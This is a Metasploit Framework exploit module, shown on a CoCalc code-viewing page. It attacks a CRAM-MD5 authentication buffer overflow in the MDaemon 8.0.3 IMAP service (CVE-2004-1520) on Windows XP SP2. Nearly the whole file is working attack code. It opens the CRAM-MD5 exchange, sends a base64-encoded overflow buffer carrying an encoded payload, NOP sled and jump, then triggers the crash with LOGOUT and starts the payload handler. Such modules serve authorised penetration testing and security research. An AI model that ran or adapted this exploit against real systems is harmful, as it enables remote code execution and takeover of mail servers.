CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/mdaemon_cram_md5.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Imap
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow',
14
'Description' => %q{
15
This module exploits a buffer overflow in the CRAM-MD5
16
authentication of the MDaemon IMAP service. This
17
vulnerability was discovered by Muts.
18
},
19
'Author' => [ 'Unknown' ],
20
'License' => BSD_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2004-1520'],
24
[ 'OSVDB', '11838'],
25
[ 'BID', '11675'],
26
],
27
'Privileged' => true,
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'process',
31
},
32
'Payload' =>
33
{
34
'Space' => 500,
35
'BadChars' => "\x00",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'MDaemon IMAP 8.0.3 Windows XP SP2', { } ],
42
],
43
'DisclosureDate' => '2004-11-12',
44
'DefaultTarget' => 0))
45
end
46
47
def exploit
48
connect
49
50
print_status("Asking for CRAM-MD5 authentication...")
51
sock.put("a001 authenticate cram-md5\r\n")
52
res = sock.get_once
53
54
55
print_status("Received CRAM-MD5 answer: #{res.chomp}")
56
# Magic no return-address exploitation ninjaness!
57
buf = 'AAAA' + payload.encoded + make_nops(258) + "\xe9\x05\xfd\xff\xff"
58
req = Rex::Text.encode_base64(buf) + "\r\n"
59
sock.put(req)
60
res = sock.get_once
61
62
print_status("Received authentication reply: #{res.chomp}")
63
print_status("Sending LOGOUT to close the thread and trigger an exception")
64
sock.put("a002 LOGOUT\r\n")
65
res = sock.get_once
66
67
print_status("Received LOGOUT reply: #{res.chomp}")
68
select(nil,nil,nil,1)
69
70
handler
71
disconnect
72
end
73
end
74
75